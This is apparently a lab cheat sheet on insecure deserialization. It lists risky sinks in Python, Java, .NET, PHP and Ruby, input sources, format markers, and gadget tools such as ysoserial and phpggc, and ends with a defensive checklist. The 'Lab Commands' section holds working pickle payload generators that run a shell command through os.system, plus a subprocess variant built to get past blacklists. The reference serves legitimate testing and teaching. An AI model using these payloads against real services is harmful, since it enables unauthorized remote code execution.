Use this as a quick reference while testing deserialization in labs and authorized assessments.
Core Question
Ask:
Does this input rebuild simple data, or does it rebuild live objects?
Dangerous pattern:
untrusted bytes -> object deserializer -> live application object
Safer pattern:
untrusted bytes -> data parser -> schema validation -> manual object construction
Common Sinks
Python:
pickle.loads(data)
pickle.load(file)
yaml.load(data)
Java:
ObjectInputStream.readObject()
.NET:
BinaryFormatter.Deserialize(stream)
LosFormatter.Deserialize(data)
PHP:
unserialize($data)
Ruby:
Marshal.load(data)
Common Sources
cookies
session files
remember-me tokens
cache files
job queues
message brokers
RPC parameters
import/export files
saved project files
plugin manifests
backup archives
Format Clues
Java serialization:
ac ed 00 05
PHP serialization:
O:
a:
s:
i:
Python pickle:
pickle opcodes
base64 blobs containing binary data
GLOBAL
REDUCE
__reduce__
ASP.NET:
__VIEWSTATE
__EVENTVALIDATION
File extensions:
.ser
.pkl
.pickle
.bin
.dat
.session
.state
Lab Commands
Create a normal pickle token:
python3 - <<'PY'
import base64
import pickle
from dataclasses import dataclass
@dataclass
class Session:
username: str
role: str
print(base64.urlsafe_b64encode(
pickle.dumps(Session("operator", "user"))
).decode())
PY
Create a command proof token:
python3 - <<'PY'
import base64
import os
import pickle
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
print(base64.urlsafe_b64encode(pickle.dumps(Exploit())).decode())
PY
Create a blacklist bypass token:
python3 - <<'PY'
import base64
import pickle
import subprocess
class Exploit:
def __reduce__(self):
return (subprocess.call, (["id"],))
print(base64.urlsafe_b64encode(pickle.dumps(Exploit())).decode())
PY
Create a fixed JSON token:
python3 - <<'PY'
import base64
import json
print(base64.urlsafe_b64encode(
json.dumps({"username": "operator", "role": "user"}).encode()
).decode())
PY
Lab Expected Results
basic malicious pickle executes id
blacklist os.system token blocked
blacklist subprocess token bypasses blacklist
better unexpected callable/class blocked
fixed JSON token accepted
fixed admin role rejected
Tools To Know
ysoserial Java gadget payloads
ysoserial.net DotNET gadget payloads
phpggc PHP gadget payloads
marshalsec Java serialization research tooling
gadgetinspector Java gadget discovery
Tooling depends heavily on target language, framework, dependency versions, and available classes.
Defensive Review
Confirm:
- Untrusted input is not passed to object-capable deserializers.
- JSON or another data-only format is used where possible.
- Schemas validate field names, types, and allowed values.
- Application objects are constructed manually after validation.
- Type allowlists are used when object deserialization is unavoidable.
- Platform deserialization filters are enabled.
- Serialized data crossing trust boundaries is signed and authenticated.
- Signing is not treated as a replacement for safe parsing.
- Dependencies are patched to reduce gadget availability.
- Deserialization errors and unexpected type names are logged.
Key Takeaway
Base64 is not protection.
Signing is not parsing safety.
Blacklists are not a boundary.
The safe boundary is:
parse data
validate data
construct objects intentionally